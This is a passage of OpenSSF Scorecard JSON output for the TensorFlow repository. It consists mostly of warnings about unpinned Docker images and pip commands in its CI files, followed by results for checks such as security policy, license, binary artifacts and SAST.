ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by 